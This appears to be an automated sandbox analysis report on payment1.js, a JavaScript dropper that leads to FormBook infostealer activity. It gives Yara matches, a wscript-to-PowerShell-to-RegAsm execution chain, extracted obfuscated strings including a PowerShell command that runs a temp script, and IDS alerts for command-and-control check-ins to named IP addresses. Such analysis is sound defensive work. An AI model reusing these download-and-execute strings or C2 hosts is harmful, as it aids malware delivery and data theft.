Windows Analysis Report
payment1.js

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2989939402.0000000003060000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2992102247.0000000005150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2104088509.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2989897397.0000000003500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2106523345.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2989992903.0000000003550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2987628096.0000000003050000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2110867358.0000000003840000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source:	Binary string: wntdll.pdbUGP source: RegAsm.exe, 00000005.00000002.2107158636.0000000002AF0000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000002.2990258811.00000000038EE000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000002.2990258811.0000000003750000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000003.2107338460.000000000359C000.00000004.00000020.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000003.2104477664.00000000033E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegAsm.exe, RegAsm.exe, 00000005.00000002.2107158636.0000000002AF0000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, MRINFO.EXE, 0000000A.00000002.2990258811.00000000038EE000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000002.2990258811.0000000003750000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000003.2107338460.000000000359C000.00000004.00000020.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000003.2104477664.00000000033E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mrinfo.pdbGCTL source: RegAsm.exe, 00000005.00000002.2104818275.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000002.2988989976.000000000096E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mrinfo.pdb source: RegAsm.exe, 00000005.00000002.2104818275.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000002.2988989976.000000000096E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000000.2027775593.00000000003FF000.00000002.00000001.01000000.0000000A.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2987654360.00000000003FF000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\VICTOR\Documents\CryptoObfuscator_Output\CZDFS.pdb source: powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp, x.exe.1.dr
Source:	Binary string: C:\Users\VICTOR\Documents\CryptoObfuscator_Output\CZDFS.pdbBSJB source: powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp, x.exe.1.dr

Source: C:\Windows\SysWOW64\MRINFO.EXE

Code function: 10_2_0306CA70 FindFirstFileW,FindNextFileW,FindClose,

10_2_0306CA70

Software Vulnerabilities

Source: payment1.js	Return value : ['"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', '"Failed to execute PowerShell script: "', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Argument value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\dddddd.ps1"",0,true', '"Failed to execute PowerShell script: "', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\dddddd.ps1"",0,true', '"Failed to execute PowerShell script: "', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', 'W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jP', '371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4', 'q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrV', 'bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93z', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\dddddd.ps1"",0,true', '"Failed to execute PowerShell script: "', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', 'W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jP', '371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4', 'q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrV', 'bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93z', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\dddddd.ps1"",0,true', '"Failed to execute PowerShell script: "', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', 'W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jP', '371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4', 'q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrV', 'bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93z', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\dddddd.ps1"",0,true', '"Failed to execute PowerShell script: "', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', 'W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jP', '371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4', 'q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrV', 'bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93z', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\dddddd.ps1"",0,true', '"Failed to execute PowerShell script: "', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', 'W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jP', '371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4', 'q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrV', 'bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93z', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\dddddd.ps1"",0,true', '"Failed to execute PowerShell script: "', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', 'W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jP', '371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4', 'q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrV', 'bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93z', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\dddddd.ps1"",0,true', '"WScript.Shell"', '"Failed to execute PowerShell script: "', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', '"Scripting.FileSystemObject"', 'W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jP', '371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4', 'q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrV', 'bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93z', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\dddddd.ps1"",0,true', '"WScript.Shell"', '"Failed to execute PowerShell script: "', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', '"Scripting.FileSystemObject"', 'W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jP', '371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4', 'q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrV', 'bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93z', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 4x nop then xor eax, eax		10_2_03059FB0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 4x nop then mov ebx, 00000004h		10_2_036504CE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:52381 -> 104.21.16.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52511 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52584 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52495 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:52532 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52656 -> 162.0.231.203:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52479 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:52659 -> 162.0.231.203:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52658 -> 162.0.231.203:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52660 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:52663 -> 13.248.169.48:80
